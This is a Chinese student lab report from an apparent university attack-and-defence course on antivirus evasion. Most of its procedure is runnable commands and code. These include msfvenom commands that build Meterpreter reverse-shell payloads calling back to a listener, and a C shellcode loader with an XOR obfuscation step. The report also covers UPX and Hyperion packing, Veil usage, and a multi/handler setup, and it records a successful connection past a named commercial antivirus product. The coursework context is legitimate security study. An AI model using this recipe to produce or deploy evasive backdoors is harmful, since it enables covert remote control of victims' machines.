首页 > 其他分享 >20222428 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222428 2024-2025-1 《网络与系统攻防技术》实验三实验报告

时间:2024-10-29 22:33:36浏览次数:1  
标签:exe 免杀 veil 生成 2024 2025 msfvenom shellcode 20222428

1.实验内容

1.1本周学习内容

1.1.1后门实践中的基本概念

  1. netcat(瑞士军刀):用于监听、探测端口、正向连接、反向连接、文件传输。
  2. socat:netcat的加强版(多了SSL连接等功能)。
  3. Meterpreter工具:Metadploit框架中的扩展模块,是生成后门的工具。
  4. Veil Evasion:生成免杀的工具。

1.1.2杀毒软件原理

杀毒软件通过特征码、基于行为、文件校验和、机器学习、云计算等方式进行查杀。

1.1.3免杀的概念与技术

免杀:恶意代码或软件经过各种处理使其不能被杀毒软件所检测。
免杀技术

1.修改特征码
2.修改校验和
3.花指令免杀:添加毫无意义的指令改变特征码。
4.加壳免杀:
(1)对文件里的资源压缩并加密的技术(UPX、PECompact、ASProtect...)。
(2)虚拟机保护技术:基于x86汇编系统的可执行代码转换为字节码指令系统的代码。
5.内存免杀:通过修改内存中的特征码或行为模式来绕过杀毒软件的检测。

1.2实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧。

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

1.3实验要求

  • 掌握免杀原理与技术
  • 回答问题

1.4回答问题

1.杀软是如何检测出恶意代码的?
(1)匹配已知恶意代码的特征码。
(2)程序行为与已知恶意行为模式匹配。
(3)启发式算法分析未知软件的行为和代码结构。
(4)运用云计算技术分析大量数据进行判断。
(5)机器学习技术分析大量的病毒样本和安全事件数据。
(6)深度学习自动提取特征。

2.免杀是做什么?
全称为反杀毒技术(Anti Anti-Virus),简称“免杀”,通过特殊的技术手段使恶意软件能够逃避杀毒软件的检测和查杀。

3.免杀的基本方法有哪些?
加压缩壳/加密壳、修改特征码、基于payload重新编译生成可执行文件、用其他语言重写再编译恶意执行文件、内存免杀、行为欺骗、多重加密、反弹式连接、加入混淆代码等

2.实验过程

2.1使用msfvenom生成jar等文件并检测

2.1.1准备工作

查看 msfvenom 支持的所有输出格式
msfvenom --list formats

本次实验将生成.exe .jar .elf文件来进行检验。
查看 msfvenom 支持的所有编码方式
msfvenom --list encoders

2.1.2生成文件

1.msfvenom生成.exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.220.61 LPORT=8888 -f exe > 20222428lsqz.exe

-p windows/meterpreter/reverse_t:指定了payload 类型(反向 TCP 连接)。
LHOST=172.16.220.61设置连接回的本地 IP 地址,即kali虚拟机的 IP 地址;
LPORT=8888设置连接回的本地端口号;
-f exe: 指定输出格式为 Windows 可执行文件;
2.msfvenom生成多次编码后.exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=172.16.220.61 LPORT=8888 -f exe > 20222428lsqz.exe;

-e x86/shikata_ga_nai: 指定要使用的编码器;
-b ‘\x00’: 指定需要避免的坏字符集;
-i 20表示编码20次;
其他同上;这里不小心输错了文件名使得生成了名(20222428lsqz.exe;)文件。
3.选择适用于Java环境的payload来生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.220.61 LPORT=8888 -f jar > 20222428lsqz.jar
使用编译器进行编码(编码20次)
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.220.61 LPORT=8888 -e
x86/shikata_ga_nai -i 20 -f jar > 20222428lsqz-2.jar

4.生成反向 TCP 连接的 Linux elf 可执行文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.220.61 LPORT=8888 -f elf > 20222428lsqz.elf

使用编译器进行编码(编码20次)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.220.61 LPORT=8888 -e x86/shikata_ga_nai -i 20 -f elf > 20222428lsqz-2.elf

因为前面.exe没有标识清楚所以进行改名

2.1.3进行检测

将这几个文件复制到共享文件夹

打开VirusTotal的链接https://www.virustotal.com/进行检测;





2.2使用veil工具

2.2.1下载veil

输入:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32



apt-get install veil 安装veil

输入:

sudo su
cd /usr/share/veil/config/
vim setup.sh


按i键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出。

运行安装veil

在此过程中因为存储空间不足虚拟机崩了导致后续用的都是新建的虚拟机。

veil安装成功。

2.2.1生成执行文件

use evasion进入Evil—Evasion

list 查看payload类型

使用c/meterpretermrev_tcp.py use 7

查看虚拟机ip地址

输入:

 set LHOST 192.168.1.106设置反弹链接ip
 set LPORT 1313	 设置端口
 generate
 生成的文件名称:20222428_veil


查看20222428——veil.exe文件是否成功生成

2.2.3进行检测

2.3使用C + shellcode编程

2.3.1生成C语言的源代码格式的有效载荷

msfvenom生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=1313 -f c

2.3.2实现C+shellcode生成执行文件并检测

新建.c文件(20222428.c)

将使用msfvenom生成的buf[]数组复制粘贴文件中,并输入以下代码。

int main(){
int(*func)() = (int(*)())buf;
func();
}


(int(* )( ))buf是一个强制类型转换:将buf从原本的类型转换为指向无参数并返回int类型值的函数的指针(这种转换允许程序将buf当作一个函数来调用)。
func():调用buf指向的内存区域中的代码。
编译.c文件
i686-w64-mingw32-g++ 20222428.c -o 20222428.exe

进行检测

2.3.3加壳

使用UPX压缩壳
upx 20222428.exe -o upx20222428.exe

cp upx20222428.exe /usr/share/windows-resources/hyperion
cd /usr/share/windows-resources/hyperion
ls

确保复制成功:

进行检测:

使用加密壳Hyperion
wine hyperion.exe -v upx20222428.exe upx20222428hy.exe


进行检测:

2.4通过组合应用各种技术实现恶意代码免杀

本次实验我选择通过C+shellcode+逆序+压缩壳实现免杀
通过如下指令生成c语言格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=2428 -f c

生成的shellcode加上如下代码段一起复制到Windows系统下的VScode中,保存、编译并运行,生成另一段shellcode(此处运用是逆序变换,使生成的文件中shellcode逆序存在,更不容易被杀软发现)

int main()
{

   int i;
   for (i = 0; i < sizeof(buf); i++)
    {
       buf[i] ^= 0x01;
       printf("\\x%x",buf[i]);
    }
 }


运行生成的代码段。
在kali中,用touch、vim指令创建并编辑20222428文件

将运行生成的代码粘贴到文件内,并加上如下所示代码段。

unsigned char buf[] =粘贴代码
int main()
{

     int i;

     for (i = 0; i < sizeof(buf); i++)
     {
         buf[i] ^= 0x01;
     }

     int (*func)() = (int(*)())buf;
     func();

}


编译生成可执行文件

进行加壳操作
upx shellcode_2428.exe -o ke-shellcode-20222428.exe

用杀毒软件检测是否能免杀

2.5用另一电脑实测,在杀软开启的情况下,可运行并回连成功

使用msfvenom工具来生成一个攻击载荷并用x86/shikata_ga_nai编码20次。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.1.125 LPORT=2428 -f c > 20222428_shellcode.c
使用vi工具在生成的文件中加入main函数如下
int main(){ int (*func)() = (int(*)())buf; func(); }
使用MinGW-w64编译该源文件
i686-w64-mingw32-g++ 20222428_shellcode.c -o 20222408_shellcode.exe
使用upx加一层压缩壳
upx 20222428_shellcode.exe -o upx20222428_shellcode.exe
使用hyperion加一层加密壳
wine hyperion.exe -v upx20222428_shellcode.exe hyp_upx20222428_shellcode.exe



在kali虚拟机中打开msf的控制台,输入以下这些信息。

use exploit/multi/handler(设置监听处理器)
set payload windows/meterpreter/reverse_tcp(设置载荷类型)
set LHOST 172.16.223.52(设置为kali的ip地址)
set LPORT 2428(设置端口)
exploit(启动监听服务)


进行回连

回连成功。
杀毒软件名称:金山毒霸
更新时间:2023-04-06
版本号:2023.15.1.3

  • 问题1:安装veil时,当输入完sudo apt-get install wine32后报错
  • 问题1解决方案:通过上网查阅资料,需先输入dpkg --add-architecture i386,再输入sudo apt-get update,然后输入sudo apt-get install wine32即可。
  • 问题2:下载veil时虚拟机崩了
  • 问题2解决方案:通过询问同学得知是因为存储空间不够造成的,运用同学给予的扩容方法但未能解决问题,最后新建了虚拟机并提前分配了足够内存。
  • 问题3:使用hyperion.exe时,系统报错“ShellExecuteEx failed: File not found.”。
  • 问题3解决方案:hyperion.exe需要在/usr/share/windows-resources/hyperion这个工作目录才能使用。

4.学习感悟、思考等

实验三下载veil工具耗费了我大量时间,并且遇到了许多与同学不同的报错和问题。面对这些挑战,我保持心平气和,努力搜索原因,并根据找到的解决方法一次次实践,最终解决了问题。
在实验过程中,我首先利用msfvenom工具生成了多种格式的恶意文件,并通过编码、加壳等手段处理。我将这些文件在VirusTotal中进行检测发现都可以被检测到。
我学习了veil工具的使用,尽管遇到了各种安装报错等困难,但最终成功安装并生成了免杀恶意程序。
在C+shellcode编程部分,我将shellcode嵌入C语言代码中,编译生成可执行文件,体会到了静态免杀方法的重要性。在实验的最后阶段,我通过组合应用各种技术,试图绕过杀毒软件。经过多次尝试,成功生成了能回连的恶意程序,并实现了恶意代码的免杀。但veil真的太难下了,最后虚拟机崩了只能重建一个,在实现回连中也卡了好久,心累。

参考资料

标签:exe,免杀,veil,生成,2024,2025,msfvenom,shellcode,20222428
From: https://www.cnblogs.com/lsqz20222428/p/18514653

相关文章

  • 第六届国际科技创新学术交流大会(IAECST 2024) 暨第四届物流系统与交通运输国际学术会
    @目录一、会议详情二、重要信息三、大会介绍四、出席嘉宾五、征稿主题一、会议详情二、重要信息大会官网:https://ais.cn/u/vEbMBz提交检索:EICompendex、IEEEXplore、Scopus三、大会介绍第六届国际科技创新学术交流大会暨第四届物流系统与交通运输国际学术会议(LSTT202......
  • 2024强网杯pwn short wp
    这时2024强网杯的pwn部分的short的WP分析以下程序的基本安全措施*]'/home/ysly/solve/tmp/short'Arch:i386-32-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE(0x8048000)Stripp......
  • 「KTSC 2024 R2」跳跃游戏 题解
    睡了一觉,打呼噜被老胡叫醒了/lh睡醒场切,vectorfind是\(O(size)\)的调了40min/fn思路考虑最终得到了\(\mathcalO(Q)\)个连续的\((len,val)\)代表线段长度和线段的\(A_i\),可以用map简单得到。结论:必然存在一种方案,使得在\((i-K,i]\)中必然存在跳跃的起点......
  • 第二届计算机网络技术与电子信息工程国际学术会议(CNTEIE 2024) 2024 2nd Internationa
    @目录一、会议详情二、重要信息三、大会介绍四、出席嘉宾五、征稿主题一、会议详情二、重要信息大会官网:https://ais.cn/u/vEbMBz提交检索:EICompendex、IEEEXplore、Scopus三、大会介绍第二届计算机网络技术与电子信息工程国际学术会议(CNTEIE2024)将于2024年12月6-8日......
  • 20222413 2024-2025-1 《网络与系统攻防技术》实验三实验报告
    1.实验内容1.1学习总结本周的学习内容为恶意代码的概念、发展历史以及分析技术。我知晓了恶意代码的不同类型及其典型案例、攻击方式和危害。同时我了解了静态分析和动态分析所采用的技术方法。1.2实践内容(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或......
  • [KTSC 2024 R1] 最大化平均值 题解
    先考虑封闭序列的个数,发现只有\(\mathcalO(n)\)个,可以建出小根笛卡尔树,以\((a_i,i)\)作为权值,于是相同的一定是\(i,rs_i,rs_{rs_i},\dots\)。考虑如果没有重复,询问相当于给出一棵树,每次询问\(subtree(u)\),保留一个含\(u\)的联通块的最大平均值。可以把每个节点用向......
  • 2024.10.19 CF2030(Div.2)
    比赛链接Solved:5/8Upsolved:6/8Rank:166E.MEXmizetheScore题意定义一个集合的分数为:将它分成若干个子集,mex和的最大值。(mex从0开始算)给n个数,求所有非空子集的分数之和。\(n\leq2\times10^5\)题解对一个确定的集合,它的划分方式一定是每次分出去一个最长的{0,......
  • 网鼎杯2024-青龙官方资格赛
    没必要看,只有最简单的题哎,尽力了,简单的都做不出来Cryptocrypto1fromCrypto.Util.numberimport*fromsecretimportflagp=getPrime(512)q=getPrime(512)n=p*qd=getPrime(299)e=inverse(d,(p-1)*(q-1))m=bytes_to_long(flag)c=pow(m,e,n)hint1......
  • 2024.10.14 Codeforces Round 978 (Div. 2)
    比赛链接Solved:4/7Upsolved:5/7Rank:447(rated343)D2.Asesino(HardVersion)题意:有n个人,除了一个卧底以外,其他人或者只会说真话,或者只会说谎,且他们知道彼此的身份。卧底只会说谎,但其他人都认为他只会说真话。现在你可以进行若干次询问,每次询问形如问第i个人第j个人是什么......
  • 2024.10.24 The 2021 ICPC Northwestern Russia Regional Contest
    比赛链接Solved:8/14Penalty:909Rank:23前五道签到题ABCHL。K.KaleidoscopicRoute题意给一张带边权的图,求一条1到n的路径,使经过的边数最少的同时边的极差最大。题解求出最短路图,然后DAG上dp:f和g分别表示从1到这个点能经过的最大边权和最小边权。然后每转移一条边(x,y,z......